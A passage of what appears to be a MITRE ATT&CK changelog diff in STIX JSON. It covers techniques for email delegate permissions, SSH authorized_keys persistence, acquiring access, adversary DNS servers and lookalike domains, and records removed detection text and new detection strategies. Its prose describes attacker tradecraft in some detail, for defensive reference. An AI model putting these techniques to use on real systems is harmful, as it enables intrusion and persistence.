Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/002", + "external_id": "T1098.002" + }, + { + "source_name": "Bienstock, D. - Defending O365 - 2019", + "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved November 17, 2024.", + "url": "https://www.slideshare.net/slideshow/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365/128744511" + }, + { + "source_name": "Crowdstrike Hiding in Plain Sight 2018", + "description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.", + "url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/" + }, + { + "source_name": "Google Ensuring Your Information is Safe", + "description": "Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022.", + "url": "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html" + }, + { + "source_name": "Gmail Delegation", + "description": "Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022.", + "url": "https://support.google.com/a/answer/7223765?hl=en" + }, + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved November 17, 2024.", + "url": "https://static.carahsoft.com/concrete/files/1015/2779/3571/M-Trends-2018-Report.pdf" + }, + { + "source_name": "Mandiant Defend UNC2452 White Paper", + "description": "Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.", + "url": "https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452" + }, + { + "source_name": "Microsoft - Add-MailboxPermission", + "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Detection and Response Team (DART)", + "Mike Burns, Mandiant", + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", + "Arad Inbar, Fidelis Security", + "Nilesh Dherange (Gurucul)", + "Naveen Vijayaraghavan" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Group: Group Modification\", \"Application Log: Application Log Content\", \"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.801000+00:00\", \"old_value\": \"2025-04-15 21:47:23.761000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\\n\\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \\n\\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \\u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\\n-\\n-Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \\n-\\n-A larger than normal volume of emails sent from an account and similar phishing emails sent from \\u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Modification)", + "DS0015: Application Log (Application Log Content)", + "DS0036: Group (Group Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0373: Detection Strategy for Addition of Email Delegate Permissions" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-24 12:42:35.144000+00:00", + "modified": "2025-10-24 17:48:55.005000+00:00", + "name": "SSH Authorized Keys", + "description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys (or, on ESXi, `/etc/ssh/keys-/authorized_keys`).(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH.(Citation: Broadcom ESXi SSH) The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/004", + "external_id": "T1098.004" + }, + { + "source_name": "Venafi SSH Key Abuse", + "description": "Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.", + "url": "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities" + }, + { + "source_name": "Broadcom ESXi SSH", + "description": "Broadcom. (2024, December 12). Allowing SSH access to VMware vSphere ESXi/ESX hosts with public/private key authentication. Retrieved March 26, 2025.", + "url": "https://knowledge.broadcom.com/external/article/313767/allowing-ssh-access-to-vmware-vsphere-es.html" + }, + { + "source_name": "Google Cloud Privilege Escalation", + "description": "Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022.", + "url": "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/" + }, + { + "source_name": "cisco_ip_ssh_pubkey_ch_cmd", + "description": "Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478" + }, + { + "source_name": "Cybereason Linux Exim Worm", + "description": "Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.", + "url": "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability" + }, + { + "source_name": "Google Cloud Add Metadata", + "description": "Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.", + "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata" + }, + { + "source_name": "Azure Update Virtual Machines", + "description": "Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.", + "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update" + }, + { + "source_name": "SSH Authorized Keys", + "description": "ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.", + "url": "https://www.ssh.com/ssh/authorized_keys/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tony Lambert, Red Canary", + "Dror Alon, Palo Alto Networks", + "Or Kliger, Palo Alto Networks", + "Austin Clark, @c2defense", + "Arad Inbar, Fidelis Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "IaaS", + "Network Devices", + "ESXi" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.005000+00:00\", \"old_value\": \"2025-04-15 19:58:39.342000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.\\n\\nMonitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.\\n\\nFor network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.\\n-\\n-Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0126: Detection Strategy for SSH Key Injection in Authorized Keys" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d21bb61f-08ad-4dc1-b001-81ca6cb79954", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-10 15:37:21.782000+00:00", + "modified": "2025-10-24 17:49:25.997000+00:00", + "name": "Acquire Access", + "description": "Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a \u201cload\u201d that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).\n\n**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1650", + "external_id": "T1650" + }, + { + "source_name": "Krebs Access Brokers Fortune 500", + "description": "Brian Krebs. (2012, October 22). Service Sells Access to Fortune 500 Firms. Retrieved March 10, 2023.", + "url": "https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/" + }, + { + "source_name": "CrowdStrike Access Brokers", + "description": "CrowdStrike Intelligence Team. (2022, February 23). Access Brokers: Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.", + "url": "https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/" + }, + { + "source_name": "CISA Karakurt 2022", + "description": "Cybersecurity Infrastructure and Defense Agency. (2022, June 2). Karakurt Data Extortion Group. Retrieved March 10, 2023.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a" + }, + { + "source_name": "Microsoft Ransomware as a Service", + "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jeremy Kennelly", + "Jeffrey Barto" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.997000+00:00\", \"old_value\": \"2025-04-15 21:43:51.840000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. \"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0884: Detection of Acquire Access" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:40:45.279000+00:00", + "modified": "2025-10-24 17:48:27.611000+00:00", + "name": "DNS Server", + "description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583/002", + "external_id": "T1583.002" + }, + { + "source_name": "Unit42 DNS Mar 2019", + "description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.", + "url": "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.611000+00:00\", \"old_value\": \"2025-04-15 22:14:14.654000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0862: Detection of DNS Server" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-09-30 17:09:31.878000+00:00", + "modified": "2025-10-24 17:48:42.246000+00:00", + "name": "Domains", + "description": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor\u2019s choosing.(Citation: Invictus IR DangerDev 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583/001", + "external_id": "T1583.001" + }, + { + "source_name": "URI Unique", + "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.", + "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF" + }, + { + "source_name": "PaypalScam", + "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.", + "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/" + }, + { + "source_name": "CISA IDN ST05-016", + "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.", + "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016" + }, + { + "source_name": "CISA MSS Sep 2020", + "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a" + }, + { + "source_name": "bypass_webproxy_filtering", + "description": "Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019.", + "url": "https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Invictus IR DangerDev 2024", + "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.", + "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me" + }, + { + "source_name": "Domain_Steal_CC", + "description": "Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it\u2019s Now Stealing Credit Cards. Retrieved September 20, 2019.", + "url": "https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/" + }, + { + "source_name": "tt_obliqueRAT", + "description": "Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022.", + "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html" + }, + { + "source_name": "tt_httrack_fake_domains", + "description": "Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022.", + "url": "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Categorisation_not_boundary", + "description": "MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019.", + "url": "https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/" + }, + { + "source_name": "URI", + "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.", + "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits" + }, + { + "source_name": "Redirectors_Domain_Fronting", + "description": "Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022.", + "url": "https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/" + }, + { + "source_name": "URI Use", + "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.", + "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf" + }, + { + "source_name": "iOS URL Scheme", + "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.", + "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html" + }, + { + "source_name": "lazgroup_idn_phishing", + "description": "RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.", + "url": "https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/" + }, + { + "source_name": "httrack_unhcr", + "description": "RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.", + "url": "https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Wes Hurd", + "Vinayak Wadhwa, Lucideus", + "Deloitte Threat Library Team", + "Oleg Kolesnikov, Securonix", + "Menachem Goldstein", + "Nikola Kovac" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Domain Name: Passive DNS\", \"Domain Name: Domain Registration\", \"Domain Name: Active DNS\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.246000+00:00\", \"old_value\": \"2025-04-15 22:23:15.751000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0038: Domain Name (Active DNS)", + "DS0038: Domain Name (Domain Registration)", + "DS0038: Domain Name (Passive DNS)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0892: Detection of Domains" + ], + "dropped": [] + } + 